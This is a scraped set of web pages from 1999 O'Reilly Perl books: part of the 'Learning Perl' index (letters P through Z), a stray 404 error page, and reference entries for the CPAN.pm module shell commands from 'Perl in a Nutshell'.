for associative arrays : 5.4. Hash Functions
associativity of : 2.4.3. Operator Precedence and Associativity
autodecrement : 2.6.2. Autoincrement and Autodecrement
autoincrement : 2.6.2. Autoincrement and Autodecrement
definition of : 2.4. Scalar Operators
division : 2.4.1. Operators for Numbers
logical comparison : 2.4.1. Operators for Numbers
multiplication : 2.4.1. Operators for Numbers
precedence of : 2.4.3. Operator Precedence and Associativity
for scalar variables : 2.6. Scalar Operators and Functions
string : 2.4.2. Operators for Strings
string comparison : 2.4.2. Operators for Strings
string repetition : 2.4.2. Operators for Strings
subtraction : 2.4.1. Operators for Numbers
undef and : 2.9. The Undefined Value
ord(�) operator : 16.2. Packing and Unpacking Binary Data
OS/2, Perl under : 1.3. Availability
ownership of files, changing : 13.6. Modifying Ownership

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: P

-p command-line option, and inplace editing : 17.5. Variable-Length ( Text) Databases
-p operator : 10.5. The -x File Tests
pack format string : 16.2. Packing and Unpacking Binary Data
pack(�) operator : 16.2. Packing and Unpacking Binary Data
example of : 17.4. Fixed-Length Random Access Databases
page length
changing, in formats : 11.6.4. Changing the Page Length
default, for top-of-page format : 11.5. The Top-of-Page Format
page position, changing, in formats : 11.6.5. Changing the Position on the Page
param(�)
19.4. Passing Parameters via CGI
19.7. Other Form Elements
parameters : 1.5.9. Making It a Bit More Modular
passing via CGI : 19.4. Passing Parameters via CGI
parent process : 14.4. Using fork
parentheses
array literals and : 3.2. Literal Representation
as optional for the keys(�) operator : 5.4.1. The keys Function
chdir(�) operator and : 12.1. Moving Around the Directory Tree
forcing array context with : 3.4.1. Assignment
as memory in regular expressions
7.3.4. Precedence
7.3.2.3. Parentheses as memory
precedence and
2.4.3. Operator Precedence and Associativity
7.3.4. Precedence
print(�) operator and : 6.3.1. Using print for Normal Output
values(�) operator and : 5.4.2. The values Function
password file
accessing
7.7. Exercises
16.1. Getting Password and Group Information
random access in : 16.1. Getting Password and Group Information
reading from, example : 10.4. Using Filehandles
sequential access to : 16.1. Getting Password and Group Information
PATH environment variable, managing : 14.1. Using system and exec
Pathologically Eclectic Rubbish Lister : 1.1. History of Perl
percent sign (%)
as modulus operator : 2.4.1. Operators for Numbers
Perl : 19.10. Perl and the Web: Beyond CGI Programming
availability of : 1.3. Availability
CGI programming : (see CGI programs)
Perl programs, making executable : 1.4. Basic Concepts
Perl standard library : 6.2. Input from the Diamond Operator
Perl: The Motion Picture : 16.2. Packing and Unpacking Binary Data
permission bits, in dbmopen(�) : 17.2. Opening and Closing DBM Hashes
permissions
CGI programs and
19.8. Creating a Guestbook Program
19.9. Troubleshooting CGI Programs
modifying : 13.5. Modifying Permissions
pi
computing with : A.1. Chapter 2, Scalar Data
obscure reference to : 16.2. Packing and Unpacking Binary Data
pop(�) operator : 3.4.3. The push and pop Functions
example of : A.3. Chapter 4, Control Structures
popen library function, emulating : 14.3. Using Processes as Filehandles
popup menus
19.7. Other Form Elements
19.7.1. References
powers of ten, example of, with substr(�) : 15.2. Extracting and Replacing a Substring
Practical Extraction and Report Language
1.1. History of Perl
11.1. What Is a Format?
precedence : 2.4.3. Operator Precedence and Associativity
parentheses and
2.4.3. Operator Precedence and Associativity
7.3.4. Precedence
in regular expressions : 7.3.4. Precedence
print(�) operator
2.8. Output with print
6.3.1. Using print for Normal Output
$_ and : 4.5. The foreach Statement
array literals and : 3.2. Literal Representation
example of
1.5.1. The "Hello, World" Program
1.5.17. The Final Programs
filehandle keyword and : 1.5.12. Warning Someone When Things Go Astray
return value of : 6.3.1. Using print for Normal Output
writes to the same filehandle : 11.5. The Top-of-Page Format
printenv command, emulating : 14.1. Using system and exec
printf(�) operator : 6.3.2. Using printf for Formatted Output
example of
A.3. Chapter 4, Control Structures
A.5. Chapter 6, Basic I/O
A.13. Chapter 14, Process Management
4.6. Exercises
processes
creating : 14.1. Using system and exec
exit value : 14.4. Using fork
filehandles as : 14.3. Using Processes as Filehandles
launching : 14.5. Summary of Process Operations
opening for writing with filehandle : 14.3. Using Processes as Filehandles
products, finding : 9.4. Labeled Blocks
prompt, example of : 1.5.2. Asking Questions and Remembering the Result
publishing systems : 19.10.1. Custom Publishing Systems
push(�) operator : 3.4.3. The push and pop Functions
example of : A.15. Chapter 16, System Database Access
pwd command : 12.1. Moving Around the Directory Tree

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: Q

query strings : 19.2. Your CGI Program in Context
qw(�) notation : 19.4. Passing Parameters via CGI

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: R

-r operator : 10.5. The -x File Tests
-R operator : 10.5. The -x File Tests
rand(�) operator : 3.8. Exercises
example of : A.2. Chapter 3, Arrays and List Data
random access
to password file : 16.1. Getting Password and Group Information
with seek(�) operator : 17.4. Fixed-Length Random Access Databases
ranges, character, in regular expressions : 7.3.1. Single-Character Patterns
read(�) operator : 17.4. Fixed-Length Random Access Databases
readdir(�) operator : 12.5. Reading a Directory Handle
reading
from a command : 14.3. Using Processes as Filehandles
from a file : 10.4. Using Filehandles
from standard input : 6.1. Input from STDIN
readlink(�) operator : 13.3.2. Creating Hard and Soft Links with Perl
example of : A.12. Chapter 13, File and Directory Manipulation
redo operator : 9.3. The redo Statement
references in CGI programs : 19.7.1. References
regular expressions : 1.5.7. Handling Varying Input Formats
alternation in : 7.3.2.4. Alternation
anchoring in : 7.3.3. Anchoring Patterns
backtracking in : 7.3.2.2. Multipliers
character classes in : 7.3.1. Single-Character Patterns
compared with globbing : 12.2. Globbing
definition of : 7.1. Concepts About Regular Expressions
example of
1.5.8. Making It Fair for the Rest
1.5.9. Making It a Bit More Modular
9.1. The last Statement
grouping patterns of : 7.3.2. Grouping Patterns
non-special characters of : 7.3.1. Single-Character Patterns
precedence in : 7.3.4. Precedence
split(�) and : 7.6.1. The split Function
variable interpolation and : 7.4.4. Using Variable Interpolation
removing
characters : 15.5. Transliteration
files : 13.1. Removing a File
last character : 2.6.3. The chop and chomp Functions
rename(�) operator
1.5.15. Making Those Old Word Lists More Noticeable
13.2. Renaming a File
example of
A.12. Chapter 13, File and Directory Manipulation
1.5.17. The Final Programs
renaming files : 13.2. Renaming a File
examples of : 1.5.15. Making Those Old Word Lists More Noticeable
reports, generating
1.5.14. Listing the Secret Words
11.1. What Is a Format?
result : 2.4. Scalar Operators
return status, backwards for system(�) : 14.1. Using system and exec
return values
from fork : 14.4. Using fork
introduced : 1.5.9. Making It a Bit More Modular
print(�) and : 6.3.1. Using print for Normal Output
read(�) : 17.4. Fixed-Length Random Access Databases
select(�) : 11.6.1. Using select( ) to Change the Filehandle
subroutine, example of : 1.5.17. The Final Programs
subroutines : 8.3. Return Values
tr operator : 15.5. Transliteration
reverse(�) operator : 3.4.5. The reverse Function
example of
A.2. Chapter 3, Arrays and List Data
A.5. Chapter 6, Basic I/O
right angle brackets (\>), as format field characters : 11.4.1. Text Fields
right associativity : 2.4.3. Operator Precedence and Associativity
rindex(�) operator : 15.1. Finding a Substring
example of : A.14. Chapter 15, Other Data Transformation
rm command, and unlink(�) : 13.1. Removing a File
rmdir(�) operator : 13.4. Making and Removing Directories

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: S

s
as squeeze option of tr : 15.5. Transliteration
as substitute operator : 7.5. Substitutions
\s, in regular expressions : 7.3.1. Single-Character Patterns
s operator
and making basename of file : A.12. Chapter 13, File and Directory Manipulation
example of
1.5.17. The Final Programs
12.2. Globbing
making basename of file : A.12. Chapter 13, File and Directory Manipulation
-s operator : 10.5. The -x File Tests
-S operator : 10.5. The -x File Tests
s2p (sed-to-Perl) conversion utility : 18.2. Converting sed Programs to Perl
save(�) : 19.8.2. Objects in CGI.pm
scalar assignment, used as a value : 2.6. Scalar Operators and Functions
scalar context : 3.5. Scalar and List Context
introduced : 3.4.1. Assignment
readdir(�) and : 12.5. Reading a Directory Handle
scalar data
2.1. What Is Scalar Data?
3.4.1. Assignment
scalar variables
1.5.2. Asking Questions and Remembering the Result
2.5. Scalar Variables
operators for : 2.6. Scalar Operators and Functions
scientific notation, in floating-point numbers : 2.2.2. Float Literals
Scooby Doo, pronouncing "Windex" : 15.1. Finding a Substring
scrolling_list(�) : 19.7.2. Fancier Calling Sequences
secret words, guessing : 1.5.4. Guessing the Secret Word
sed command, substitute operator and : 7.2. Simple Uses of Regular Expressions
sed scripts, converting to Perl : 18.2. Converting sed Programs to Perl
seek(�) operator
17.4. Fixed-Length Random Access Databases
19.8.2. Objects in CGI.pm
select(�) operator : 11.6.1. Using select( ) to Change the Filehandle
sending signals : 14.6. Sending and Receiving Signals
sendmail aliases database : 17.1. DBM Databases and DBM Hashes
sequence, in regular expressions : 7.3.2.1. Sequence
sequential access, to password file : 16.1. Getting Password and Group Information
servers, CGI programs and : 19.2. Your CGI Program in Context
setenv command, emulating : 14.1. Using system and exec
setgrent(�) operator : 16.1. Getting Password and Group Information
setpwent(�) operator : 16.1. Getting Password and Group Information
shell scripts : 1.4. Basic Concepts
converting to Perl (ha!) : 18.3. Converting Shell Programs to Perl
shells, avoiding for new processes : 14.1. Using system and exec
shift(�) operator : 3.4.4. The shift and unshift Functions
default of @ARGV and : A.12. Chapter 13, File and Directory Manipulation
example of : A.12. Chapter 13, File and Directory Manipulation
:shortcuts import tag : 19.5. Less Typing
%SIG variable : 14.6. Sending and Receiving Signals
SIGINT (signal name) : 14.6. Sending and Receiving Signals
signals : 14.6. Sending and Receiving Signals
catching : 14.6. Sending and Receiving Signals
ignoring : 14.6. Sending and Receiving Signals
restoring default action of : 14.6. Sending and Receiving Signals
sending : 14.6. Sending and Receiving Signals
Simple module : 19.10.3. Web Automation with LWP
single-quoted strings : 2.3.1. Single-Quoted Strings
skiing : 1.5. A Stroll Through Perl
slices
array : 3.4.2. Array Element Access
on literal lists : 3.4.2. Array Element Access
variable interpolation in strings and : 3.7. Variable Interpolation of Arrays
sort comparison routines : 15.4. Advanced Sorting
using array lookups : 15.4. Advanced Sorting
sort(�) operator
1.5.16. Maintaining a Last-Good-Guess Database
3.4.6. The sort Function
controlling sort order of : 15.4. Advanced Sorting
example of
A.11. Chapter 12, Directory Access
A.14. Chapter 15, Other Data Transformation
A.15. Chapter 16, System Database Access
16.1. Getting Password and Group Information
sorting
advanced : 15.4. Advanced Sorting
example of numeric : 15.4. Advanced Sorting
space : (see whitespace)
spaceship (<=>) operator : 15.4. Advanced Sorting
example of : A.16. Chapter 17, User Database Manipulation
split(�) operator : 7.6.1. The split Function
example of
A.10. Chapter 11, Formats
A.13. Chapter 14, Process Management
11.3. Invoking a Format
sprintf(�) operator : 15.3. Formatting Data with sprintf( )
compared with pack(�) : 16.2. Packing and Unpacking Binary Data
example of : 11.4.2. Numeric Fields
Sprite : 2.3.2. Double-Quoted Strings
square brackets ([�]), in regular expressions : 7.3.1. Single-Character Patterns
srand(�) operator, example of : 3.8. Exercises
:standard import tag : 19.5. Less Typing
standard error
of command in backquotes : 14.2. Using Backquotes
merging with standard output, in backquotes : 14.2. Using Backquotes
processes open for writing and : 14.3. Using Processes as Filehandles
standard input : (see STDIN)
standard output : (see STDOUT)
stat(�) operator : 10.6. The stat and lstat Functions
statement block
(see also blocks)
1.5.3. Adding Choices
4.1. Statement Blocks
STDERR : 10.1. What Is a Filehandle?
introduced : 1.5.10. Moving the Secret Word List into a Separate File
STDIN
1.5.2. Asking Questions and Remembering the Result
1.5.10. Moving the Secret Word List into a Separate File
6.1. Input from STDIN
10.1. What Is a Filehandle?
in array context
A.5. Chapter 6, Basic I/O
3.6. <STDIN> as an Array
of command in backquotes : 14.2. Using Backquotes
example of
1.5.17. The Final Programs
6.1. Input from STDIN
9.1. The last Statement
example of using : 2.7. <STDIN> as a Scalar Value
reading from : 6.1. Input from STDIN
as scalar value : 2.7. <STDIN> as a Scalar Value
as target of match : 7.4.1. Selecting a Different Target (the =~ Operator)
undef return value and : 2.9. The Undefined Value
STDOUT
1.5.10. Moving the Secret Word List into a Separate File
10.1. What Is a Filehandle?
example of using : 2.8. Output with print
processes open for writing and : 14.3. Using Processes as Filehandles
Stein, Lincoln : 19.1. The CGI.pm Module
string comparison operators : 2.4.2. Operators for Strings
string concatenation : 2.4.2. Operators for Strings
string operators : 2.4.2. Operators for Strings
string repetition operator : 2.4.2. Operators for Strings
strings
2.1. What Is Scalar Data?
2.3. Strings
automatic conversion to numbers and : 2.4.4. Conversion Between Numbers and Strings
counting characters in : 15.5. Transliteration
deleting characters from : 15.5. Transliteration
length of : 2.3. Strings
literal representation of : 2.3. Strings
query strings : 19.2. Your CGI Program in Context
removing last character : 2.6.3. The chop and chomp Functions
sub keyword
1.5.9. Making It a Bit More Modular
8.1. Defining a User Function
example of
A.7. Chapter 8, Functions
1.5.17. The Final Programs
submit button : 19.6. Form Generation
subroutine definitions
example of : A.7. Chapter 8, Functions
location of in file : 1.5.9. Making It a Bit More Modular
location of in text : 8.1. Defining a User Function
re-defining : 8.1. Defining a User Function
subroutines
1.5.9. Making It a Bit More Modular
8.1. Defining a User Function
arguments : 8.4. Arguments
invoking : 8.2. Invoking a User Function
lack of locals : 8.1. Defining a User Function
nested invocation of : 8.2. Invoking a User Function
return values of : 8.3. Return Values
scope of variables and : 8.1. Defining a User Function
subscripts
with array elements : 3.4.2. Array Element Access
array expressions and : 3.4.2. Array Element Access
references : 1.5.5. More than One Secret Word
substitute operator
1.5.8. Making It Fair for the Rest
7.2. Simple Uses of Regular Expressions
7.5. Substitutions
substr(�) operator : 15.2. Extracting and Replacing a Substring
example of : A.14. Chapter 15, Other Data Transformation
variable as first argument : 15.2. Extracting and Replacing a Substring
substrings, finding : 15.1. Finding a Substring
subtraction, operator for : 2.4.1. Operators for Numbers
support for Perl : Support
symbolic links : (see symlinks)
symlink(�) operator : 13.3.2. Creating Hard and Soft Links with Perl
compilation failure and : 13.3.2. Creating Hard and Soft Links with Perl
example of : A.12. Chapter 13, File and Directory Manipulation
symlinks : 13.3. Creating Alternate Names for a File: Linking
nested : 13.3.1. About Hard and Soft Links
operation of : 13.3.1. About Hard and Soft Links
referencing non-existing files : 13.3.1. About Hard and Soft Links
sysopen(�) : 19.8.2. Objects in CGI.pm
system(�) operator : 14.1. Using system and exec
composed of fork and exec : 14.4. Using fork
example of : A.13. Chapter 14, Process Management
list of arguments to : 14.1. Using system and exec
PATH and : 14.1. Using system and exec

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: T

-T operator : 10.5. The -x File Tests
-t operator : 10.5. The -x File Tests
Tab : 2.3.2. Double-Quoted Strings
tac command, emulating : 6.4. Exercises
tell(�) (Perl) : 19.8.2. Objects in CGI.pm
temperature : 4.6. Exercises
template of format : 11.2. Defining a Format
text editors, and updating databases : 17.5. Variable-Length ( Text) Databases
text fields (in formats) : 11.4.1. Text Fields
textfield(�)
19.7. Other Form Elements
19.8.2. Objects in CGI.pm
the Net : 1.1. History of Perl
time
manipulation of : 1.5.16. Maintaining a Last-Good-Guess Database
UNIX internal format : 13.7. Modifying Timestamps
time operator, example of
1.5.16. Maintaining a Last-Good-Guess Database
1.5.17. The Final Programs
13.7. Modifying Timestamps
timestamps, modifying : 13.7. Modifying Timestamps
_TOP (top-of-page format suffix) : 11.5. The Top-of-Page Format
top-of-page format
11.5. The Top-of-Page Format
11.6.3. Changing the Top-of-Page Format Name
example of : 1.5.14. Listing the Secret Words
tr operator : 15.5. Transliteration
emulating : 15.5. Transliteration
example of
1.5.8. Making It Fair for the Rest
1.5.17. The Final Programs
translate operator, introduced : 1.5.8. Making It Fair for the Rest
transliteration : 15.5. Transliteration
trncate(�) (Perl) : 19.8.2. Objects in CGI.pm
troubleshooting CGI programs : 19.9. Troubleshooting CGI Programs
true
definition of : 4.2. The if/unless Statement
regular expressions and : 7.2. Simple Uses of Regular Expressions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: U

-u operator : 10.5. The -x File Tests
undef
array element access and : 3.4.2. Array Element Access
assigning lists and : 3.4.1. Assignment
associative array elements and : 5.2. Hash Variables
to control dbmopen(�) : 17.2. Opening and Closing DBM Hashes
as default value for $^I : 17.5. Variable-Length ( Text) Databases
definition of : 2.9. The Undefined Value
globbing return value : 12.2. Globbing
as initial value of local variables : 8.5. Private Variables in Functions
pop(�) return value : 3.4.3. The push and pop Functions
readdir(�) return value : 12.5. Reading a Directory Handle
resulting from split(�) : 7.6.1. The split Function
STDIN and : 6.1. Input from STDIN
unless statement : (see if statement)
unlink(�) operator : 13.1. Removing a File
example of : A.12. Chapter 13, File and Directory Manipulation
unpack(�) operator : 16.2. Packing and Unpacking Binary Data
example of
16.3. Getting Network Information
17.4. Fixed-Length Random Access Databases
gethostbyname(�) return values and : 16.3. Getting Network Information
unshift(�) operator : 3.4.4. The shift and unshift Functions
until statement : (see while statement)
up-arrow, in regular expressions : 7.3.1. Single-Character Patterns
uppercase for filehandles : 1.5.10. Moving the Secret Word List into a Separate File
URLs (uniform resource locators) : 19. CGI Programming
use statement : 19.4. Passing Parameters via CGI
Usenet (comp.lang.perl) : Support
user function : (see subroutines)
user ID : 10.6. The stat and lstat Functions
accessing information : 16.1. Getting Password and Group Information
username information, accessing : 16.1. Getting Password and Group Information
/usr/dict/words : 7.7. Exercises
utime(�) operator : 13.7. Modifying Timestamps
UUCP : UUCP

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: V

values(�) operator : 5.4.2. The values Function
variable interpolation : 2.6.4. Interpolation of Scalars into Strings
array variables and : 3.7. Variable Interpolation of Arrays
double-quoted strings and : 2.3.2. Double-Quoted Strings
globbing and : 12.2. Globbing
regular expressions and : 7.4.4. Using Variable Interpolation
substitute operator and : 7.5. Substitutions
system(�) and : 14.1. Using system and exec
variable part of format : 11.1. What Is a Format?
variables
array : 3.3. Variables
associative array : 5.2. Hash Variables
default values for : 2.9. The Undefined Value
naming : 1.5.8. Making It Fair for the Rest
scalar : 2.5. Scalar Variables
subroutines and : 8.1. Defining a User Function
VMS, Perl under : 1.3. Availability
von Neumann, John : Foreword
vowels, matching : 7.3.1. Single-Character Patterns

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: W

-w command-line option : 2.4.4. Conversion Between Numbers and Strings
\w, in regular expressions : 7.3.1. Single-Character Patterns
-W operator : 10.5. The -x File Tests
-w operator : 10.5. The -x File Tests
wait operator : 14.4. Using fork
Wall, Larry
1.1. History of Perl
9.4. Labeled Blocks
9.6. && and || as Control Structures
18.2. Converting sed Programs to Perl
Foreword
Second Edition Update
Support
while statement
1.5.4. Guessing the Secret Word
4.3. The while/until Statement
9.5. Expression Modifiers
example of
A.3. Chapter 4, Control Structures
A.6. Chapter 7, Regular Expressions
1.5.13. Many Secret Word Files in the Current Directory
1.5.9. Making It a Bit More Modular
1.5.17. The Final Programs
5.4.1. The keys Function
5.4.3. The each Function
6.1. Input from STDIN
last operator and : 9.1. The last Statement
next operator and : 9.2. The next Statement
redo operator and : 9.3. The redo Statement
until modifier : 9.5. Expression Modifiers
whitespace : 1.4. Basic Concepts
between array values when interpolated : 3.7. Variable Interpolation of Arrays
in formats : 11.2. Defining a Format
in pack format string : 16.2. Packing and Unpacking Binary Data
in Perl programs : 1.4. Basic Concepts
in regular expressions : 7.3.1. Single-Character Patterns
who command, example of
1.4. Basic Concepts
14.1. Using system and exec
14.2. Using Backquotes
widgets
19.6. Form Generation
19.7. Other Form Elements
19.8.2. Objects in CGI.pm
word boundaries : 7.3.3. Anchoring Patterns
example of : 1.5.7. Handling Varying Input Formats
word characters, in regular expressions : 7.3.1. Single-Character Patterns
words, and filled fields in formats : 11.4.4. Filled Fields
write(�) operator
1.5.14. Listing the Secret Words
11.3. Invoking a Format
example of
A.15. Chapter 16, System Database Access
1.5.17. The Final Programs
11.3. Invoking a Format
writing reports
1.5.14. Listing the Secret Words
11.1. What Is a Format?

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: X

-x operator
A.1. Chapter 2, Scalar Data
10.5. The -x File Tests
-X operator : 10.5. The -x File Tests
x (string repetition) operator : 2.4.2. Operators for Strings

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: Z

-z operator : 10.5. The -x File Tests

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c02_001.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: !

Perl in a Nutshell

Perl in a NutshellSearch this book

!

! perl-code

evals a Perl command.

Previous: Reference: ? | Perl in a Nutshell | Next: Reference: a
Reference: ? | Book Index | Reference: a


Reference: a

Perl in a Nutshell

Perl in a NutshellSearch this book

a

a [authorlist]

Searches for CPAN authors. Arguments can be strings to be matched exactly or regular expressions, which must be enclosed in slashes and are matched in case-insensitive fashion. With no arguments, it returns a list of all authors, by CPAN ID. With arguments, it returns a list of authors if there is more than one that matches the criteria, or it returns additional information if a single author is returned. String and regular expression arguments can be combined in the same command.

cpan> a /^nv/ LWALL
Author          NVPAT (Nathan V. Patwardhan)
Author          LWALL (Larry Wall. Author of Perl. Busy man.)
cpan> a /^nv/
Author id = NVPAT
    EMAIL        nvp@ora.com
    FULLNAME     Nathan V. Patwardhan

Previous: Reference: ! | Perl in a Nutshell | Next: Reference: autobundle
Reference: ! | Book Index | Reference: autobundle


Reference: autobundle

Perl in a Nutshell

Perl in a NutshellSearch this book

autobundle

autobundle [bundlelist]

Writes a bundle file containing a list of all modules that are both available from CPAN and currently installed within @INC. The file is written to the Bundle subdirectory of cpan_home with a name that contains the current date and a counter; for example, Snapshot_1998_04_27_00.pm. You can then use that file as input to the install command to install the latest versions of all the modules on your system:

perl -MCPAN -e 'install Bundle::Snapshot_1998_04_27_00'

Previous: Reference: a | Perl in a Nutshell | Next: Reference: b
Reference: a | Book Index | Reference: b


Reference: b

Perl in a Nutshell

Perl in a NutshellSearch this book

b

b [bundlelist]

Searches for CPAN bundles. Arguments are the same as for the a command except they specify bundles. With a single argument, it displays details about the bundle; with multiple arguments, it displays a list.

Previous: Reference: autobundle | Perl in a Nutshell | Next: Reference: clean
Reference: autobundle | Book Index | Reference: clean


Reference: clean

Perl in a Nutshell

Perl in a NutshellSearch this book

clean

clean [arglist]

Does a make clean in the distribution file's directory. arglist can include one or more modules, bundles, distributions, or one of the values "r" or "u" to reinstall or uninstall.

Previous: Reference: b | Perl in a Nutshell | Next: Reference: d
Reference: b | Book Index | Reference: d


Reference: d

Perl in a Nutshell

Perl in a NutshellSearch this book

d

d [distriblist]

Displays information about module distributions for the distribution(s) specified in distriblist. Arguments are the same as for the a command. Displays details for a single argument, or a list if the output consists of multiple distributions.

Previous: Reference: clean | Perl in a Nutshell | Next: Reference: force
Reference: clean | Book Index | Reference: force


Reference: force

Perl in a Nutshell

Perl in a NutshellSearch this book

force

force method [arglist]

Takes as a first argument the method to invoke, which can be one of make, test, or install, and executes the command from scratch for each argument in arglist. The arguments may be modules or distributions.

Previous: Reference: d | Perl in a Nutshell | Next: Reference: h
Reference: d | Book Index | Reference: h


Reference: h

Perl in a Nutshell

Perl in a NutshellSearch this book

h

h

Displays brief help message. Same as ?.

Previous: Reference: force | Perl in a Nutshell | Next: Reference: i
Reference: force | Book Index | Reference: i


Reference: i

Perl in a Nutshell

Perl in a NutshellSearch this book

i

i [arglist]

Displays information about the arguments specified in arglist, which can be any of authors, modules, bundles, or distributions. Arguments and output are the same as for a.

Previous: Reference: h | Perl in a Nutshell | Next: Reference: install
Reference: h | Book Index | Reference: install


Reference: install

Perl in a Nutshell

Perl in a NutshellSearch this book

install

install [arglist]

Installs the arguments specified in arglist, which can be modules or distributions. Implies test. For a distribution, install is run unconditionally. For a module, CPAN.pm checks to see if the module is up-to-date, and if so, prints a message to that effect and does not do the install. Otherwise, it finds and processes the distribution that contains the module.

Previous: Reference: i | Perl in a Nutshell | Next: Reference: look
Reference: i | Book Index | Reference: look


Reference: look

Perl in a Nutshell

Perl in a NutshellSearch this book

look

look arg

Takes one argument, which is a module or distribution, gets and untars the distribution file if necessary, changes to the appropriate directory, and opens a subshell process in that directory.

Previous: Reference: install | Perl in a Nutshell | Next: Reference: m
Reference: install | Book Index | Reference: m


Reference: m

Perl in a Nutshell

Perl in a NutshellSearch this book

m

m [arglist]

Displays information about modules. Arguments are the same as for the a command. Displays details for a single module, or a list if there is more than one in the output.

Previous: Reference: look | Perl in a Nutshell | Next: Reference: make
Reference: look | Book Index | Reference: make


Reference: make

Perl in a Nutshell

Perl in a NutshellSearch this book

make

make [arglist]

Unconditionally runs a make on each argument in arglist, which can be a module or a distribution. For a module, CPAN.pm finds and processes the distribution that contains the module.

Previous: Reference: m | Perl in a Nutshell | Next: Reference: o
Reference: m | Book Index | Reference: o


Reference: o

Perl in a Nutshell

Perl in a NutshellSearch this book

o

o type [option] [value]

Sets and queries options. Takes the following arguments:

type

Type of options to set or query. The possible values are:

debug

Debugging options. Prints CPAN module options for debugging the package.

conf

Configuration options. Lists or sets values for CPAN module configuration variables kept in the hash %CPAN::Config. Here are the configuration variables from %CPAN::Config:

Variable Content
build_cache

Size of cache for directories to build modules

build_dir

Locally accessible directory to build modules

index_expire

Number of days before refetching index files

cpan_home

Local directory reserved for this package

gzip

Location of external program gzip

inactivity_timeout

Breaks an interactive Makefile.PL after inactivity_timeout seconds of inactivity (set to 0 to never break)

inhibit_startup_message

If true, does not print startup message

keep_source

If set, keeps source in local directory

keep_source_where

Where to keep source

make

Location of external make program

make_arg

Arguments to always pass to make

make_install_arg

Same as make_arg for make install

makepl_arg

Arguments to always pass to perl Makefile.PL

pager

Location of external more program (or other pager)

tar

Location of external tar program

unzip

Location of external unzip program

urllist

Arrayref to nearby CPAN sites (or equivalent locations such as CD-ROM)

option

The CPAN module configuration option or options; used with conf. Can be one or more scalar or list options from the table above.

value

Value to be set for a configuration option.

The possibilities for o conf are:

o conf scalaropt

Prints current value of scalar option

o conf scalaropt value

Sets scalar option to value

o conf listopt

Prints current value of list option in MakeMaker format

o conf listopt [shift|pop]

Shifts or pops the array in listopt variable

o conf listopt [unshift|push|splice] list

Works like the corresponding Perl functions to modify the array in listopt based on list

Previous: Reference: make | Perl in a Nutshell | Next: Reference: q
Reference: make | Book Index | Reference: q


Reference: q

Perl in a Nutshell

Perl in a NutshellSearch this book

q

q

Quits the CPAN module shell subroutine.

Previous: Reference: o | Perl in a Nutshell | Next: Reference: r
Reference: o | Book Index | Reference: r


Reference: r

Perl in a Nutshell

Perl in a NutshellSearch this book

r

r

Recommendations for reinstallation. With no argument, lists all distributions that are out of date. With an argument, tells you whether that module or distribution is out of date.

Previous: Reference: q | Perl in a Nutshell | Next: Reference: readme
Reference: q | Book Index | Reference: readme


Reference: readme

Perl in a Nutshell

Perl in a NutshellSearch this book

readme

readme arglist

Finds and displays the README file for modules or distributions in arglist.

Previous: Reference: r | Perl in a Nutshell | Next: Reference: recompile
Reference: r | Book Index | Reference: recompile


Reference: recompile

Perl in a Nutshell

Perl in a NutshellSearch this book

recompile

recompile

Runs full make/test/install cycle over all installed dynamically loadable modules with force in effect. Useful for completing a network installation on systems after the first installation, where the CPAN module would otherwise declare the modules already up-to-date.

